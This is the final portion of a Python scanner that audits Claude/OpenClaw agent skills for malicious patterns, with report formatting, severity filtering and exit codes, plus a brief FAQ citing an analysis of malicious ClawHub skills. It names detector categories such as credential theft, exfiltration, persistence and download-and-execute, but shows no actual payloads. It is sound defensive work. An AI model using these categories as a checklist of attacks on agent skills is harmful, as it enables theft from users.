CredentialTheftDetector(),
PersistenceDetector(),
PostInstallHookDetector(),
HiddenCharDetector(),
EntropyDetector(),
SocialEngineeringDetector(),
NetworkCallDetector(),
PrivilegeEscalationDetector(),
]
def scan_skill(self, skill: dict) -> list[Finding]:
all_findings = []
for fp in skill["files"]:
try:
content = fp.read_text(encoding="utf-8", errors="replace")
except (OSError, PermissionError) as e:
print(f"[WARN] Cannot read {fp}: {e}", file=sys.stderr)
continue
# File hash check
file_hash = hashlib.sha256(content.encode("utf-8")).hexdigest()
if file_hash in self.ioc_db.hashes:
all_findings.append(Finding(
detector="IOCMatchDetector", severity=Severity.CRITICAL,
category="threat_intelligence", file_path=str(fp),
line_number=0, line_content="(file hash match)",
description=f"File SHA256 matches known malicious hash: {file_hash}",
confidence=99,
))
for detector in self.detectors:
try:
findings = detector.scan_file(content, str(fp))
all_findings.extend(findings)
except Exception as e:
print(f"[WARN] Detector {detector.name} failed on {fp}: {e}", file=sys.stderr)
return all_findings
# ─── Report Formatting ───────────────────────────────────────────────────────
SEVERITY_COLORS = {
Severity.LOW: "\033[90m", # gray
Severity.MEDIUM: "\033[33m", # yellow
Severity.HIGH: "\033[91m", # red
Severity.CRITICAL: "\033[31;1m", # bold red
}
RESET = "\033[0m"
BOLD = "\033[1m"
def format_text_report(results: dict, use_color: bool = True) -> str:
lines = []
total_findings = sum(len(f) for f in results["skills"].values())
lines.append("")
lines.append("=" * 70)
lines.append(" SKILL SECURITY AUDIT REPORT")
lines.append(f" Scanned: {results['summary']['skills_scanned']} skills, "
f"{results['summary']['files_scanned']} files")
lines.append("=" * 70)
lines.append("")
if total_findings == 0:
lines.append(" [CLEAN] No security issues detected.")
lines.append("")
return "\n".join(lines)
# Summary counts
counts = results["summary"]["severity_counts"]
summary_parts = []
for sev_name in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]:
cnt = counts.get(sev_name, 0)
if cnt > 0:
if use_color:
color = SEVERITY_COLORS[Severity[sev_name]]
summary_parts.append(f"{color}{sev_name}: {cnt}{RESET}")
else:
summary_parts.append(f"{sev_name}: {cnt}")
lines.append(" Summary: " + " | ".join(summary_parts))
lines.append("")
for skill_name, findings in sorted(results["skills"].items()):
if not findings:
continue
lines.append(f" {'─' * 66}")
lines.append(f" Skill: {BOLD}{skill_name}{RESET}" if use_color else f" Skill: {skill_name}")
lines.append(f" Findings: {len(findings)}")
lines.append("")
for f in sorted(findings, key=lambda x: -x["severity_value"]):
sev = f["severity"]
if use_color:
color = SEVERITY_COLORS.get(Severity[sev], "")
sev_str = f"{color}[{sev}]{RESET}"
else:
sev_str = f"[{sev}]"
rel_path = f["file_path"]
try:
rel_path = os.path.relpath(f["file_path"])
except ValueError:
pass
lines.append(f" {sev_str} {f['detector']}")
lines.append(f" File: {rel_path}:{f['line_number']}")
lines.append(f" {f['description']}")
lines.append(f" Confidence: {f['confidence']}%")
if f["line_content"]:
content_preview = f["line_content"][:120]
lines.append(f" > {content_preview}")
lines.append("")
lines.append("=" * 70)
return "\n".join(lines)
# ─── Main ────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="Skill Security Audit Scanner — detect malicious patterns in Claude/OpenClaw skills",
)
parser.add_argument("--path", "-p", help="Scan a single skill directory instead of auto-discovery")
parser.add_argument("--json", "-j", action="store_true", dest="json_output", help="Output results as JSON")
parser.add_argument("--severity", "-s",
choices=["low", "medium", "high", "critical"],
help="Minimum severity level to report")
parser.add_argument("--no-color", action="store_true", help="Disable colored output")
parser.add_argument("--ioc-db", help="Path to custom IOC database JSON")
args = parser.parse_args()
# Min severity filter
min_severity = Severity.LOW
if args.severity:
min_severity = Severity[args.severity.upper()]
# Load IOC database
ioc_db = IOCDatabase(args.ioc_db)
# Discover skills
discovery = SkillDiscovery()
if args.path:
skills = discovery.discover_single(args.path)
else:
skills = discovery.discover()
if not skills:
print("[INFO] No skills found to scan.", file=sys.stderr)
sys.exit(0)
# Scan
scanner = SkillScanner(ioc_db)
results = {
"skills": {},
"summary": {
"skills_scanned": len(skills),
"files_scanned": 0,
"severity_counts": {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0},
},
}
max_severity = Severity.LOW
for skill in skills:
results["summary"]["files_scanned"] += len(skill["files"])
findings = scanner.scan_skill(skill)
# Filter by min severity
findings = [f for f in findings if f.severity >= min_severity]
# Deduplicate: same detector + file + line
seen = set()
deduped = []
for f in findings:
key = (f.detector, f.file_path, f.line_number)
if key not in seen:
seen.add(key)
deduped.append(f)
results["skills"][skill["name"]] = [
{**f.to_dict(), "severity_value": int(f.severity)}
for f in deduped
]
for f in deduped:
results["summary"]["severity_counts"][str(f.severity)] += 1
if f.severity > max_severity:
max_severity = f.severity
# Output
if args.json_output:
print(json.dumps(results, indent=2, ensure_ascii=False))
else:
use_color = not args.no_color and sys.stdout.isatty()
print(format_text_report(results, use_color=use_color))
# Exit code
if max_severity >= Severity.CRITICAL:
sys.exit(3)
elif max_severity >= Severity.HIGH:
sys.exit(2)
elif max_severity >= Severity.MEDIUM:
sys.exit(1)
else:
total = sum(len(f) for f in results["skills"].values())
sys.exit(1 if total > 0 else 0)
if __name__ == "__main__":
try:
main()
except Exception as e:
print(f"[FATAL] Scanner error: {e}", file=sys.stderr)
sys.exit(4)
Related skills
How it compares
Prefer a fully documented skill-security-auditor with explicit injection and script scan tables when public audit checklists are required.
FAQ
How many detectors does skill-security-audit run?
Thirteen detectors covering Base64, download-and-execute, IOC matches, obfuscation, exfiltration, credential theft, persistence, post-install hooks, and more.
What is the detection based on?
SlowMist's analysis of over 472 malicious skills on the ClawHub platform, matched against a bundled IOC database.